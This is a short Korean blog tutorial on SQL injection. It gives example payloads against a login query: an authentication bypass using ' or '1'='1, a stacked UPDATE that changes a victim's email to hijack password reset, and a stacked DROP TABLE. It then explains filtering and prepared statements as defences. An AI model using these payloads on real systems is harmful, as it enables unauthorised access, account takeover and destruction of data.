ITSTEIN
웹해킹 / SQL INJECTION 본문
웹의 해킹 기술중 sql injection을 알아보겠다.
1. sql injection
* 클라이언트의 입력값을 조작하여 서버의 데이터베이스를 공격하는 '코드 인젝션'의 한 기법이다.
* 공격은 매우 쉽지만 파급력은 매우 큰 해킹
* sql injection 취약점의 탐지 및 방어도 매우 쉽다.
2. 공격 예제
* 로그인 기법
- select * from user_info where id = '${id}' and password = '${pass}'
- ${id} = test , ${pass} = ' or '1' = '1
- ${id} = eggrok'; -- , ${pass} = ' or '1' = '1
- ${id} = eggrok' or '1' = '1 , ${pass} = 12345
* 이메일 변경 및 새로운비밀번호 신청
- select * from user_info where id = '${id}' and password = '${pass}'
- ${id} = eggrok'; update user_info set email = 'eggrok@hanmail.net' where id = 'eggrok'; --
- 이메일을 변경한뒤, 새비밀번호를 변경된 이메일로 받을수 있다.
* 테이블 삭제
- select * from user_info where id = '${id}' and password = '${pass}'
- ${id} = eggrok'; drop table user_info; --
3. 방어
* 사용자로부터 입력받은 값을 필터링하여 취약 문자 삭제.
* sql에 값을 셋팅할때, prepared statment 사용.
- where id = '${id}' => where id = #{id}와 같이 사용.
- preparedstatment는 변수를 바인딩 할때, 값으로 인식이 되기때문에... ex) 쿼리문이 '문자열' / '숫자'로 인식됨
sql 조작이 불가능.
## 출처
'WEB' 카테고리의 다른 글
웹 해킹 / XSS / Cross Site Scripting (0) | 2017.07.13 |
---|